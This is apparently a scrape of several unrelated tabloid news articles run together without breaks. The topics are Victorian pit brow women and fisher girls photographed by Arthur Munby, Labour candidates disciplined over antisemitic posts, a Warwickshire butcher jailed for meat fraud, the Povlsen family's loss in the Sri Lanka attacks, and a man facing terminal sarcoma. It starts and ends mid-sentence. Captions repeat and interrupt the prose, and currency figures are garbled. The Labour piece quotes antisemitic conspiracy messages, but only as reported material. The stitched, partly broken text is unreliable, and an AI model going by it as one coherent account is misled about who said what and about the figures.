mid-1860s, the House of Commons set up a Select Committee to look into the matters raised and questions were asked about the morality of women employed on the pit banks. The Committee had difficulty to stand up the charges of 'degradation' and 'immorality,' and great interest was shown in the 'peculiarity' of females wearing trousers Shown are yet more unidentified broo wenches. The striking pictures show the heroic women in their working gear. A uniform that consisted of a headscarf to shield their hair from dirt, a long ankle-length skirt and most shockingly of all, trousers underneath Women worked underground alongside men until 1842, as did children as young as eight years old. However this was stopped by Queen Victoria, who decided to put an end to such working following a disaster at Huskar Colliery in Silkstone Common, in which 26 children were killed after a mine flooded Interesting pictures show rugged, weather-worn women posing in front of a back drop that was intended to be used for the middle-classes posing in their Sunday best. The women, also known as broo-wenches, pose with giant spades and other working equipment such as lanterns, baskets and flasks After women were banned from going underground, they took to carrying out work on the surface. Here they would load carts, sort coal from stone and haul materials from the pit face. This pit brow women are pictured alongside a man at Rode Bridge Pits, Wigan in 1865 The women, also known as broo-wenches, pose with giant spades and other working equipment such as lanterns, baskets and flasks. In 1842, there had been outrage when it had been discovered that women around the country had been working underground in coal pits half-naked. This of course, being due to the extreme temperature in the pit. They were eventually banned from underground work, but continued to work on the surface. This led to a further inquisition in 1865, when the miners of Northumberland and Durham petitioned Parliament on a variety of matters including surface labour by women. Why were they called 'broo-wenches'? Pit brow women or pit brow lasses were women who worked on the surface at British collieries. They worked on the pit bank (or brow) at the shaft top, where they were tasked with picking stones from the coal after it was hauled to the surface. Women and boys under the age of 10 were banned from working underground following the passing of the Mines and Collieries Act 1842. Advertisement They asserted 'that the practice of employing females on or about the pit banks of mines and collieries is degrading to the sex, leads to gross immorality, and stands as a foul blot on the civilisation and humanity of the kingdom.' The House of Commons set up a Select Committee to look into the matters raised and questions were asked about the morality of women employed on the pit banks. The Committee had difficulty to stand up the charges of 'degradation' and 'immorality,' and great interest was shown in the 'peculiarity' of females wearing trousers. Peter Dickinson, a male miner from Wigan, was questioned specifically on his colleagues' dress. He said: 'The entire person of the woman is covered and there nothing indecent in the dress.' He then boldly undermined the Committee by adding: 'Though you spoke of the dress as being one of the leading features of the degrading character of the employment?' In 1867 the Select Committee on Mines presented its final report. Concerning the employment of women at the pit's mouth, they concluded 'that the allegations of either indecency or immorality were not established by the evidence.' Therefore, they concluded that no government legislation or interference was required, a great victory was struck for the working girls of collieries across the nation. Shown are some anonymous pit brow lasses, shown with some of the instruments they used to carry out work on the surface at mines across the north of England. The last pit brow lasses were finally made redundant from the Harrington No 10 mine in Lowca, Cumberland, in 1972 Munby would make frequent trips industrial towns to document his heroines. However, as photography was a new invention in the mid 19th-century, it wasn't straight forward. He would have to convince the labouring women into a nearby photographer's studio where they would have to pose very still for up to several seconds whilst the exposure was made Jane Horton, 19, of the Kirkless Hall Pits in Wigan, is pictured in August 1863 along with some traditional tolls used at British collieries during the Victorian era. A similar photograph is shown right, and features an unknown lass at Shevington Colliery in Wigan, 1864 'Spitting on her hands she firmly grasped the rope and stepped over the edge.' Brave fisher girls of the 1860s who abseiled over 200ft cliffs to scoop up shellfish from jagged rocks are revealed in stunning portraits by Victorian diarist Fascinating pictures have revealed a glimpse into the life of 19th Century fisher girls who abseiled down huge cliff faces to fetch mussels and limpets. Rare photos have emerged from the collection of Victorian diarist Arthur Munby, who chronicled the lives of women and girls doing punishing jobs in the 1860s. Mr Munby befriended fisher girls in Scarborough, Flamborough and Filey in Yorkshire and others in Tyneside, visiting them several times and eventually photographing their efforts. The mussels and limpets were collected and then passed on to local fishermen to be used as bait on their boats at sea, which kept the trade thriving. The women and girls, some aged as young as 11, would come from towns and villages in Yorkshire and displayed great bravery, with Mr Munby writing they were fearless while descending down cliffs, while he said they also claimed they could walk dozens of miles from town to village over near 24-hour days. In a diary dated 1867, he wrote: 'The men clung to the rope with both hands in climbing, while the girls used only one hand, steadying their baskets with the other.' The diarist, who died in 1910 aged 82, was from a very different social class to the women and studied at Trinity College, Cambridge, which led to him making some judgmental comments in his notes on their exploits. In one passage on Sally, he wrote: 'Spitting on her hands (vulgar creature!) and rubbing them together, she firmly grasped the rope and stepped over the edge.' Fishergirls Molly Nettleton, left, and Sally Mainprize, right, are pictured on Flamborough beach in Yorkshire after collecting mussels and limpets, with Sally shown balancing a full basket on her head in an impressive display of strength. Fisher girls would take the shellfish they collected back to their towns and villages to be used as bait by their fathers' and husbands' Molly, left, and Sally, right, are pictured at Flamborough in 1867 with an unidentified woman after collecting baskets of shellfish. The women are wearing sturdy shoes which helped them avoid slipping on the rocks, although the diaries of Arthur Munby, who commissioned the photos, revealed they frequently did fall. He also revealed Molly would scale down cliff faces hanging on to a single rope, sometimes by just one hand They included Molly Nettleton, who had been working on the cliffs since she was 11 years old and would often descend 200ft down slippery rocks secured by just a single rope. Mr Munby also wrote about how resilient the fisher girls were, including one in Flamborough called Sally Mainprize. He said: 'Even Sally's practised foot was not always safe on the slippery weed: looking up, and raising her arm to wave me a salute, she slipped and fell sideways into a pool; but was up again in not time, uninjured.' Describing watching Sally and her friends in action, he wrote: 'Sally, who was most picturesquly dressed, adjusted her short red petticoat. Gathering the hinder part in between her knee, she converted the loose, cumbersome skirt into a pair of easy serviceable breeches. 'Then she stood up, and shook herself, ready for the plunge, and nothing could be more striking in its way.' Fisher girls Annie Born, far left, and Hannah Hunter, are pictured left in Filey, Yorkshire, in 1867 posing for Mr Munby while right are two unidentified fisher girls next to a boat on a beach at Cullercoats, Tyneside, where another close knit fishing community existed. Girls would often start working on the cliffs aged 11 to help their families, with duties including attaching hooks and gutting and cleaning fish brought back from sea Molly is pictured here with some of her colleagues in Flamborough in 1867. The women are all wearing a similar outfit, with their baggy leggings worn above their boots to avoid getting caught underfoot. They also wore shawls over their shoulders to keep warm on cold and windy days. It is unknown exactly how much fisher girls like these were paid but many would not have been if they were doing the work to help their families fishing trade He added: 'Without stopping she seized the rope and gaily danced, as it were, letting it slip through her hands, as far as the foot of the incline, where it meets the summit of the main wall of cliff. 'Here, at the corner of the jutting craig, is a ledge, on which before now I have seen this very girl sit at ease, and whistle to the waves.' On Molly, he added: 'Hand over hand, sticking her toes into the crevices of the chalk wall, she went up as easily as one might walk upstairs.' He added: 'I, the man of the party, was left in a ridiculous position; a useless spectator of these vigorous athletics.' On meeting the girls at a railway station, he wrote about how out of place they looked compared to other women. He said: 'The well-dressed mobs on the platform looked astounded at the strange dress and stalwart forms of the barbarian fisher girls.' Mr Munby had a fascination with the bodies of working women and showed this in his diaries, writing about how the fisher girls had 'very large arms and hands' and were 'sturdy' and how they were just as important as men in their villages. He wrote: 'They work harder than the men ashore. Poor things. But then the men are almost always afloat, you see. 'They are big, strong lasses, with hands and arms "very large".' Fisher girls would tailor their outfits to suit their trade, wearing cushioned hats to help balance their baskets and soften the weight. They also wore strong shoes to avoid slipping on rocks and woolen stocking for warmth, with a frock 'kilted up' to avoid getting trapped under foot. Pictured left are two unidentified women fixing a fishing net in Scarborough in 1876, proving their duties extended beyond the dangerous cliffs. Another unidentified women pictured right in Scarborough in 1875 is seen balancing what appears to be rope on her head, which may have been used in abseiling down the cliffs. Although some fisher girls were able to take advantage of special rate train tickets to get to coastal towns, which cost 3p in the 1860s, around 3.30 today, many more would have walked instead and had to be strong and fit to take their loaded baskets back Mr Munby, pictured right in 1873, travelled the country to observe working women and is pictured here with female miner Ellen Grounds in Wigan. He wrote extensively about their different professions and also helped set up an adult education college for women in north London in 1864. Mr Munby was also a published poet and a civil servant for 30 years Pictured left is 15-year-old Janie Crawford, a fisher girl in Filey, Yorkshire, in 1871 posing on a style while two unidentified women are pictured right knitting in Scarborough in 1876. After visiting Scarborough, Flamborough and Filey in Yorkshire several times during the 1860s and 1870s, Mr Munby was able to strike up several friendships with the local fisher girls and eventually persuaded them to pose for a local photographer, although he said they would only agree if they got a copy An unidentified woman is pictured posing for a picture by standing on a rock on the beach at Filey in 1873. Mr Munby's diary describes fisher girls as 'big and strong lasses' who had 'very large' hands and arms to be able to carry the heavy baskets, which could weigh more than a stone when full, with some women carrying up to eight baskets by fastening them to their shoulders and hips The women were able to use special fisher girl train tickets to get to the coastal areas, costing 3p, or around 3.30 today. But Mr Munby said those tickets were only introduced in the late 1860s and previously the fisher girls would have worked long and arduous days, walking from town to village. He wrote: 'Before that [the tickets] the women used to walk to Cloughton and also to Robin Hood's Bay for bait, and back the same day - 44 miles! (or so they protested), starting at 12.30am or 1am.' Even after the train tickets were introduced, one of his diary passages reveals groups of 20 women walked at least eight miles back from Scarborough to Filey on the Yorkshire coast with their full loads. He added: 'In the late autumn and early spring they go in troops to Scarborough to gather flithers [limpets] for bait, travelling thither by rail. 'Then they walk on, fill their creels or sacks and walk back loaded all the way to Filey.' Describing the women as they set off on a journey, Mr Munby wrote they walked with seven or eight baskets which would weigh more than a stone when full. He added: 'They [the baskets] were fastened with ends on her back and shoulders and all resting on a pad on the hips. The baskets [were] all empty except one or two which held food and knitting. Folks stopped to look at 'em, boys shouted "flitherlasses".' Despite their hard work, fisher girls were living in poverty and Molly told Mr Munby she could not afford to replace one of her ropes after it was taken by 'lads' to be used in a net. He wrote: '[She] cannot afford another; whereby they cannot at present go...and get flithers which they should share. And so I offered to buy a new rope, on condition that Molly should keep it as her own.' Mr Munby added: 'Molly chose a stout well-tarred rope, and it was weighed, and came to eight and threepence, being 14 pounds' weight. 'Molly joyously took up the tarry coil and carried it home on her arm, I going with her. She thanked me as if 24 fathoms of ship's rope were the prettiest present a woman could have.' Pictured left are Lizzie Holmes, 16, left, an unidentified woman, centre, and Alice Simpson, 18, right, in Filey in 1869 posing for one of Mr Munby's photos. Pictured right are two two fisher girls from Cullercoats, North Tyneside. Mr Munby's diary described the women he met as 'sturdy' and he wrote that some claimed to have walked 44 miles to get bait in a single day, starting at 1am Pictured left are fisher girls Elizabeth Jenks, left, and Fanny Scales, right, in Filey in 1871 while right is an unidentified woman preparing bait in Scarborough in 1876. Mr Munby also said the girls caused a storm when they arrived at railway stations in the late 1800s because higher class passengers looked at them like 'barbarians' due to their 'strange dress'. But their efforts were well appreciated by those in their towns for keeping the local fishing trade thriving Mr Munby teamed up with a local photographer to capture their portraits, which they would pose for readily so long as they received a copy. Others posed up in a studio still wearing work-gear. In some of the pictures the women grin and appear relaxed, which was unusual for the time. Mr Munby worked as a civil servant but was a dedicated philanthropist, teaching Latin at one of the world's earliest adult education schools, the Working Men's College in north west London after it was set up in 1854. A decade later he helped set up a sister college for women, while he was also a published poet. Fisher girls were common throughout the UK in coastal towns and often worked long hours while also caring for large families. Fishing communities were tight knit and fisher girls would often supply bait for their fathers and husbands boats. But catching bait was not their only task as they would also chip in with maintenance tasks like cleaning nets and lines and then attaching the bait. Each fisherman would typically use one or two lines on their boat, to which as many as 1,300 hooks might be added by hand by the women. Once fish were brought back in, women would then help gut and clean them for hours at a time, and large groups could sometimes get through as much as 20,000 fish in a single day. Labour council candidate Lesley McLean has been suspended over claims made on social media about Israel and Jewish people Labours local election campaign has descended into shambles after another candidate was suspended for spreading conspiracy theories about Jews. Lesley McLean, a candidate in North Devon, shared offensive messages about the Rothschilds and accusing Labour MPs of being directly influenced by the Israeli government. The party also launched an investigation into a separate candidate who backed Ken Livingstone over what he called the anti-Semitism witch-hunt and accused opponents of Jeremy Corbyn of using the issue as a political weapon to attack him. And they reminded another councillor of the conduct expected of her after she accused the media of lying about the extent of anti-Semitism in Labour. The punishments were doled out after the Mail approached the party with screen grabs of the offensive messages. The new revelations come as Labour waits to hear whether the Equality and Human Rights Commission is to launch a full investigation into whether it has discriminated against Jews. Last week a Labour candidate in Brighton and Hove was suspended after the Mail revealed their previous online behaviour. Like Ms McLean, she will still be able to stand in the election but if she wins she will have to sit as an independent. Euan Philipps, spokesperson for Labour Against Anti-Semitism, welcomed the suspension but criticised the fact that the other two had been let off saying that was not zero tolerance. He said: Once again, we find Labour Party candidates reportedly holding anti-Semitic views that are totally at odds with the British public. They should be nowhere near public office, yet they are standing for election, an apparent sign of the contempt with which Jeremy Corbyn holds the British electorate. We have called on Mr Corbyn time and again to root out the racism problem in his party and each time he has seemingly failed to do so. These are some of the bizarre conspiracy theories and views shared that led to Lesley McLean's suspension Action was taken against the three candidates following an intervention by the Mail. Lesley McLean, a candidate in North Devon, was suspended after retweeted a series of messages including suggesting Labour MPs were being influenced by the Israeli government. It said: When you look at the direct influence the racist far right wing Israeli Likud government has on some of our politicians in the Labour Party via groups like Labour Friends of Israel and Jewish Labour Movement, is it any wonder these people agitate against the members and leadership using anti-Semitism as a weapon to stifle legitimate criticism of Israel. She retweeted someone writing: So the Jews get a homeland they want more, so they take it, and then when anyone says hey that isn't right, they scream anti-Semitism. So they think Jews are above criticism: above international law? The candidate retweeted an article saying the media were not reporting how popular socialism is in Venezuela because they were controlled by the Zionists. The tweet read: Yesterday in Venezuela, what the Zionist controlled media doesnt show are the millions who support the socialist revolution. Ms McLean also retweeted a Rothschild conspiracy theory. She retweeted someone who had written: The only countries left in 2017 without a central bank owned or controlled by the Rothschild family are Cuba, North Korea, Iran and Syria. Sam Gorst was handed a notice of investigation, a lesser punishment which means he could be suspended in future but only after the local elections. Mr Gorst spoke out in support of Ken Livingstone even after he had spoken of links between Hitler and Zionists, tweeting: Ken must remain defiant throughout this anti-Semitism witch hunt. In another message, Mr Gorst urged people to join the group Jewish Voice for Labour, which denies the party has an anti-Semitism problem. It sickens me that some MPs and corrupt groups are still using anti-Semitism as a political weapon to call out our twice democratically elected leader, he wrote. He also retweeted someone who posted an image of barbed wire fences in Germany and Palestine and wrote: I cant differentiate between Nazism and Zionism as two criminal regimes in this picture. Cheryl Raynor, a candidate in Wyre in Lancashire, also said she did not agree Labour had an anti-Semitism problem. She accused a Tory councillor of saying she was a Holocaust denier because she had said the media are lying about anti-Semitism in the Labour Party, even when I presented him with the facts. She also re-tweeted an article headlined: The British-Israel partnership driving anti-Semitism allegations against Jew-as-Zionist. Last night Ms Raynor was reminded of the conduct expected of Labour candidates but escaped the threat of suspension. A Labour spokeswoman said: The Labour Party takes all complaints of anti-Semitism extremely seriously and we are committed to challenging and campaigning against it in all its forms. All complaints about anti-Semitism are fully investigated in line with our rules and procedures and any appropriate disciplinary action is taken. Simon Drust, 51, passed off imported beef as Aberdeen Angus and Hereford steaks A crooked butcher who raked in 1million selling foreign meat labelled as 'Best of British' has been jailed for nearly three years. Simon Drust, 51, passed off imported beef as Aberdeen Angus and Hereford steaks and stuck fake labels on pork and chicken which came from the Netherlands. He sold the falsely labelled goods from The Meat Shack butcher's shop he owned in Studley, Warwickshire. Trading Standards officers became suspicious when a customer discovered a Dutch label underneath a 'Best of British' stamp on a pack of chicken breasts. Drust, of Studley, admitted fraud and fraudulent trading and was jailed for two years and nine months at Warwick Crown Court on Thursday. Trading Standards officers from Warwickshire County Council discovered the meat was mislabelled and was in fact sourced from overseas. The court heard that between September 2015 and February 2018 the adverts falsely claimed the shop was selling 'All British - beef, pork, lamb and chicken.' The company was also fined 300,000 and Drust was ordered to pay 54,527 costs. Trading Standards officers from Warwickshire County Council discovered the meat was mislabelled and was in fact sourced from overseas (pictured: the Meat Shack) Trading Standards officers became suspicious when a customer discovered a Dutch label underneath a 'Best of British' stamp on a pack of chicken breasts (pictured: Inside the Meat Shack) Deputy Judge Richard Griffith-Jones told him: 'You intended to make gains for yourself and consequent losses to others by fraud. 'You did it by tricking people into engaging in transactions by pretending that the meat they were to buy was of British origin and had a good animal welfare background. 'In addition, legitimate businesses who would have higher overheads, advertising the very same products as you, would lose out. 'So you damaged the very lines of commerce that would have the good effect people want. He sold the falsely labelled goods from The Meat Shack butcher's shop he owned in Studley, Warwickshire 'You did this not just briefly, but over a sustained period of time. 'There were warning by reason of visits, which you reacted to by ramping up the fraudulent activity.' Drust also had 127,690 in bank accounts confiscated under the Proceeds of Crime Act. Drust's partner and company secretary Susan Mitchell, 53, was given a police caution and the fraud charges allowed to lie on file. Drust's partner and company secretary Susan Mitchell, 53, was given a police caution and the fraud charges allowed to lie on file Prosecutor Tony Watkin said the couple set up The Meat Shack in 2014 which they decorated with British flags. He said: 'It traded very successfully in terms of turnover. It was presented as a farm shop selling local and organic produce.' He had previously said: 'The benefit from the dishonest trading had been the Meat Shack's turnover of around 1million during the period covered by the charges.' Adverts were placed online and in local newspapers emphasising that all the meat and poultry it sold was British. But in January 2015 a woman reported the couple after she discovered a 'British' sticker on top of a Dutch label on a packet of chicken breasts. Investigators found Drust actually bought large quantities of New Zealand lamb, Dutch and Danish gammon, Dutch and Belgian chicken, and Brazilian and Irish beef. In June 2016 the fraudulent activity intensified with Drust's purchase of a set of scales that could print its own labels. Mr Watkin said: 'He was buying meat, foreign meat, and repackaging it and relabelling it as British local produce. 'It was operating as a fraud factory, and the defendant was very much in the middle of what was happening.' A Trading Standards officer caught Drust red-handed relabelling Irish beef and Spanish pork and selling out-of-date food. The court heard Drust had a previous conviction for mislabelling and had been fined 7,000. Quentin Hunt, defending, said: 'Price is a major factor in this business, and it is not known what proportion of people who bought mislabelled meat would have bought it in any event. 'I am instructed to apologise to the court and to the public in general. 'It was never his intention to defraud people when he set up this business. 'The attendant bad publicity has hit the business very badly indeed, and I am sure that will continue. 'They used to employ ten staff, now there are three staff at the premises.' Advertisement The billionaire Asos owner who lost three of his four children in the Sri Lanka terror attacks has described the loss as 'utterly incomprehensible' but said he is 'deeply grateful' for people's support in the wake of the tragedy. Anders Holch Povlsen confirmed that son Alfred and daughters Alma and Agnes were killed in the attacks targeting Christians and foreign tourists on Easter Sunday, while third daughter Astrid survived. In a text message read aloud to mourners at a memorial service on Thursday in Brande, Denmark, where the headquarters of his fashion empire is based, the family vowed to 'come through it together.' Anders Holch Povlsen and wife Anne Storm Pedersen have confirmed the names of their three children killed in the Sri Lanka terror attack, while saying they are 'deeply grateful' for the support their family has received since the tragedy Pictured are daughters Astrid and Agnes alongside son Alfred, in an image taken by daughter Alma. Mr Povlsen has confirmed that Agnes, Alfred and Alma died in the terror attack, while Astrid survived Mr Povlsen and his wife described the loss of their three children as 'utterly incomprehensible' but vowed to overcome the tragedy 'together' (pictured are Astrid, Agnes and Alfred in an image taken by Alma) Memorial services were held for the three children in Stavtrup, a suburb of Aarhus where the family lives, on Thursday as a torch-lit walk went from the town centre to their house Walkers gathered outside the Povlsen house before Anders and Anne emerged and stood with them for a few minutes As well as the memorial in Stavtrup (pictured), commemorations were also held in Brande, where Mr Povlsen's fashion empire is based, the capital Copenhagen and third-largest city Odense Sri Lanka's tourism industry will lose an estimated $1.5 billion following hotel terror attack Sri Lanka fears its lucrative tourism industry could see arrivals drop up to 30 percent, with losses of $1.5 billion this year, after deadly Easter attacks, the finance minister said on Friday. 'Tourism will be the worst affected,' Finance Minister Mangala Samaraweera told reporters. 'We expect a 30 percent drop in arrivals and that means a loss of about $1.5 billion in foreign exchange.' The minister said: 'Typically, countries that suffer isolated IS-style attacks see tourism recovering within one-to-two years, as long as root causes are addressed and security measures taken are well communicated.' He pointed to Belgium, France, Spain and Tunisia as countries which recovered their tourism markets within a short time. Samaraweera said tourism was emerging as Sri Lanka's success story when Sunday's blast shattered hopes of reaching a revenue of $5.0 billion, up from last year's $4.4 billion. Official figures show that tourist arrivals in the first quarter of this year jumped 4.6 percent to 740,600 from a year earlier. India, Britain, and China were the biggest tourism generating markets for the island, which is known for its tropical beaches and picturesque tea-growing mountains. The industry was recovering from a severe battering during the 37-year Tamil separatist war that claimed 100,000 lives, but there had been no violence affecting tourists in the past decade. Samaraweera said he was hoping to unveil a package of concessions to help the tourism sector weather the impact of the suicide bombings. Most of the deluxe hotels in Colombo have stepped up security and curtailed bookings amid fears of more attacks. Reporting by AFP Advertisement Reading the message to a crowd of around 700 well-wishers, pastor Arne Holst-Larsen said: 'The loss of our beloved children Alma, Agnes and Alfred are completely incomprehensible. 'With the many lovely people we have around us, close friends, talented colleagues and our loving family we will come together through it. 'We greatly appreciate the humanity that is also shown in Brande tonight - not only to our families and children, but to all the victims of the cruel acts in Sri Lanka.' People had gathered in the city square to light torches, sing song, read prayers and hold a two minute silence out of respect for the dead. Meanwhile another memorial service was held in Stavtrup, a suburb of Aarhus, where the family lives. Mourners led a torch-lit walk from the suburb to Povlsen family home before Anders and Anne emerged to stand with them for a few minutes. Commemorations were also held Wednesday in the capital Copenhagen and third-largest city Odense. Mr Povlsen was staying with his family at the Shangri-La Hotel in the capital of Colombo when it was hit by suicide bombers Zahran Hashim, suspected plot mastermind, and Ilham Ibrahim, the son of a millionaire spice merchant. It is thought he was injured in the attacks himself, though it is not clear how seriously he was hurt. Denmark's ambassador to India, Peter Takse-Jensen, confirmed that one family member was injured but was discharged and returned home. Mr Povlsen's children were killed just days after he revealed plans to hand his Scottish estates to his children just days before they died, in the hope they'd carry on his legacy of conservation. He has been working via his Wildland project to 'rewild' parts of Scotland, bringing back endangered species by reviving long-lost habitats. In an open letter posted on the firm's website last week, Mr Povlsen and wife Anne Storm Pedersen wrote that the project will take longer than a lifetime to complete and so would be carried on by their children after they died. He wrote: 'From our home at Glenfeshie, both Anne and myself our children and our parents too have long enjoyed a deep connection with this magnificent landscape. 'As the holdings have grown and our common vision for the work becomes ever clearer, we have incorporated the entirety of the project into a venture we call Wildland. 'It's a significant and lifelong commitment that we have made - not just for ourselves but for the Scottish people and Scottish nature too - a commitment which we believe in deeply. Mr Povlsen was staying with his family at the Shangri-La Hotel in the capital of Colombo, when it was targeted by two suicide bombers identified as suspected plot mastermind Zahran Hashim and Ilham Ibrahim The death of Mr Polvsen's three children came just days after he revealed plans to pass on his estates in Scotland - where he is the country's largest land-owner - to them after he died Lynaberack, tucked away in the Cairngorms, was one of Povlsen's earliest purchases and cost him 5million Povlsen bought Killie Huntley estate in 2011 and rents out the vast farmhouse to holidaymakers 'We wish to restore our parts of the Highlands to their former magnificent natural state and repair the harm that man has inflicted on them. 'There are many vulnerable properties across all of the holdings that we have the wonderful and privileged opportunity to rehabilitate and restore to life; there are also archaeologically important structures that we have the responsibility to protect.' 'Our vision of Wildland is of a project that provides security and an enduring connection, not just for those that work and live on our estates but also for the greater communities. 'We are working towards an entirely sustainable model; everything in balance a project that can endure beyond what Anne and myself can ever expect to see in our own lifetime.' Mr Povlsen, Denmark's richest man, had four children with Anne, named Alma, Astrid, Agnes and Alfred. A spokesman for the family has confirmed the deaths of three of them, but did not say which ones. Just days before the devastating attacks, Alma had shared a holiday snap of her siblings next to a pool. The billionaire had been on holiday with his family for the Easter holidays when the bombs hit. Sri Lankan officials have blamed a little-known Islamist group called National Thowheed Jamaath (NTJ) for the terrorist attacks, adding that the organisation had 'international help'. A video has emerged of eight men pledging allegiance to ISIS and leader Abu Bakr al-Baghdadi before the attack. The bombers co-ordinated their attacks targeting five-star hotels and churches on Easter Sunday in an apparent deliberate attempt to target westerners and Christians. Manisha Gunasekera, the Sri Lankan High Commissioner to the UK, has said eight British nationals were killed in the attacks. In total 39 foreigners have been confirmed dead including two joint UK-US nationals and a number of Dutch, Turkish, Australian and Portuguese people. Also among the confirmed dead are a British BP lawyer, her 11-year-old son, and her daughter. Anita Nicholson was having breakfast with her family at the Shangri La hotel in Colombo when two suicide bombers walked in and blew themselves up. Another two British teenagers are feared to be among the dead, but this has not been confirmed. Povlsen, 46, and Anne Storm Pedersen, pictured together left, met when Anne began working in sales for Bestseller. Brit Alex Nicholson, 11, was killed with his mother Anita, 42, pictured together right, as they ate breakfast in the Shangri La in Colombo Floral tributes to Mr Povlsen's children have been laid outside the headquarters of his company Bestseller, located in the city of Brande, in Denmark Mr Povlsen met wife Anne after she began working in sales for Bestseller, which owns 17 clothing brands including Asos. Flowers were laid outside the company headquarters on Tuesday Seven suicide bombers killed at least 320 people in coordinated attacks on five-star hotels and churches on Easter Sunday. Pictured: the interior of St Sebastian's church in Negombo A crime scene official inspects the site of a bomb blast inside a church in Negombo, Sri Lanka, which lost half its roof tiles with the force of the blast Sri Lankan soldiers secure the area around St. Anthony's Shrine after a blast in Colombo. A van exploded near where dozens of people died the previous day Sri Lankan Police officers inspects a blast spot at the Shangri-la hotel in Colombo a day after a bomb ripped through the building on Easter Sunday A map showing where the eight blasts went off yesterday, six of them in very quick succession on Easter Sunday morning Cabinet spokesman Rajitha Senaratne said: 'We do not believe these attacks were carried out by a group of people who were confined to this country. There was an international network without which these attacks could not have succeeded.' The NTJ were the subject of an intelligence warning ten days before the attacks. The warning said they were planning attacks on churches and the Indian high commission. Police sources confirmed that the terrorists who targeted the Shangri La hotel had 'pamphlets and paraphernalia' associated with extremist Islamic ideology in their hotel room. The killers had checked into room 616, where investigators also found two iPhone chargers. Detectives told local media that the Shangri-La blast was a result of at least 55lbs of C-4 plastic explosives, though the conclusions await formal confirmation by a Government analyst. Povlsen, 46, is married to Anne Storm Pedersen. The pair met when Anne began working in sales for Bestseller. The pair have 11 Scottish estates, and a castle, covering an astonishing 221,000 acres. He is Britain's biggest private landowner, surpassing the Dukes of Atholl with 144,000 acres and the Prince of Wales, who owns 130,000 acres. He began building this ever-growing property portfolio 12 years ago, in the autumn of 2006, with the 7.9 million acquisition of Glenfeshie, a 42,000-acre patch of the Cairngorms National Park. Povlsen and Anne are said to have a '200-year vision' for their estates, which involves rewilding the land, reports the Times. In the vision, Povlsen said he planned to pass the estate along to his four children and that they would continue his work. His father, Troels, began his fashion empire with a single store in 1975. Povlsen now employs 15,000 people and owns brands such as Jack & Jones and Vero Moda, along with almost 30 per cent of ASOS. Its success has helped him build a fortune estimated at 5.4 billion. Povlsen and his wife live at Constantinsborg, a neo-classical former royal palace near Aarhus. The couple send their four children to state schools. In a statement, Bestseller's spokesperson Jesper Stubkier said: 'I can confirm that three children have been killed. 'We have no further comment and we ask that the family's privacy is respected at this time.' A father-of-one who was told that a lump on his lung was just a cyst only to discover later it was a rare sarcoma is making a bucket list to give his son, two, some lasting memories. Climbing wall inspector Rob Metcalfe, 30, from Lancashire, began suffering chest pains and a cough in January 2018, for which his GP just prescribed antibiotics. However, the symptoms were still present by the end of March, coupled with vomiting and weight loss. On May 3, 2018 Mr Metcalfe had an X-ray of his chest carried out which showed a small lung collapse and an unidentifiable object on his left lung. Within weeks, Mr Metcalfe contracted pneumonia and sepsis and was admitted to hospital where he received IV antibiotics followed by a CT scan of his lungs. Doctors then decided the lump was a cyst which they weren't too concerned about. Rob Metcalfe, pictured with his two year old son Caleb, right, was told in March that the rare sarcoma discovered on his lung was terminal. Initially medics had told the father-of-one from Lancashire that he had nothing to worry about Mr Metcalf, who is married to Beth, pictured, wants to spend the remaining months of his life creating memories for his son by going on adventures with his family Before his tragic diagnosis, Mr Metcalfe, pictured climbing a mountain, was active outdoors In June, Mr Metcalfe underwent a lung surgery to fix his collapsed lung but by August, the chest pain persisted, and further scans revealed that the object had doubled in size. A biopsy was done on the object, and on October 12, 2018, Mr Metcalfe was diagnosed with Primary pleuropulmonary synovial sarcoma, a rare soft tissue malignancy. The diagnosis devastated Mr Metcalfe, who felt angry that the object wasn't biopsied earlier. He began his 24 rounds of radiotherapy immediately, before having the tumour, two ribs, muscles and nerves all removed on January 30, 2019. Mr Metcalfe began sharing his experience on Facebook and Instagram to highlight how cancer impacts an individual's mental health. Unfortunately, on March 25, Mr Metcalfe was told he may have just 12 months left, depending on his body's reaction to treatment. Mr Metcalfe, pictured, developed a cough and chest pain in January 2018 In response to the created a bucket list to make sure his wife, Beth, and son Caleb (2) have plenty of memories with him so that Caleb always remembers his late father's love. The bucket list includes seeing the northern lights, renewing their wedding vows and taking family holidays in a Volkswagen camper van around the UK. 'In January 2018 I developed chest pain and a cough, so my GP prescribed me antibiotics for a chest infection,' said Mr Metcalfe. 'By the end of March, the cough was still there, and I got used to living with the chest pain, but I was vomiting most mornings and had started losing weight. 'I remember in May, my boss sent me home from work as he was sick of me throwing up and coughing at work. He also made me call the doctors that day to be seen. 'My GP sent me for an X-ray of my chest and the next day I received a call saying I had a small lung collapse in my left lung. I previously had four lung collapses and one surgery prior to this phone call. Although, the GP also said I had an unidentifiable object at the top of my left lung. 'I went back to hospital and doctors said this object may be scar tissue from surgery or fluid build-up from surgery I had in 2015. But by mid-May, I contracted pneumonia and sepsis and was treated with IV antibiotics and they kept me in to do a CT scan of the object. After discussing the results, they decided it was a cyst. Mr Metcalfe, pictured, soon noticed he was rapidly losing weight and was vomiting repeatedly Despite undergoing extensive surgery on his lung, doctors were tackle his sarcoma 'In June I was admitted to hospital as my lung kept collapsing so they put a drain into my left lung cavity. I stayed there for five days, waiting to be transferred to Leeds St. James hospital. The doctors at Leeds wanted to see my images and they got radiologists to look at my CT scan and they also said it was a cyst. 'Two weeks later, at the end of June, I had another lung surgery to fix my lung collapse. After the surgery, I was told that the object was a cyst and would disappear on its own, so it was nothing to worry about. 'I spent the next two months recovering from surgery, but I still had chest pain, so, at the end of August, I was sent for an X-ray by my GP. The hospital told me to return the following day for another CT scan, and they found that the object had doubled in size. 'I had a biopsy taken in September and was told that it was nothing to worry about, but the sample was being sent to Leeds for the Sarcoma specialists to look at. In October I was diagnosed with Primary pleural synovial sarcoma.' In March 2019, Mr Metcalfe was told his condition was terminal. Now he has had to try and explain to his son that he will be going to a 'special place' but he will always be by his side. To ensure that Caleb will always have photos of his father, Mr Metcalfe started making a bucket list of things he hopes to do with his family before the time comes. He underwent 24 sessions of radiotherapy and even had the tumour removed along with two ribs, muscles and nerves 'I underwent 24 sessions of radiotherapy and on January 30, 2019 I had my tumour removed along with two ribs, muscles and nerves. 'If your doctors say you have a cyst then ask them to investigate further. If they say they no because they know best, politely disagree and state that it's your body. Don't let them down play your worries, be strong and fight to get the right scans, it may be nothing but there's always a chance it may be. 'I found out I was terminal in March 2019, so we made the decision that we needed to make memories as a family in the time we have left. So, we are using GoFundMe to raise money for our adventures. Mr Metcalfe said he and his family decided to use GoFundMe for the bucket list after receiving his terminal diagnosis in March 'The aim is to do lots of holidays around the UK and take lots of 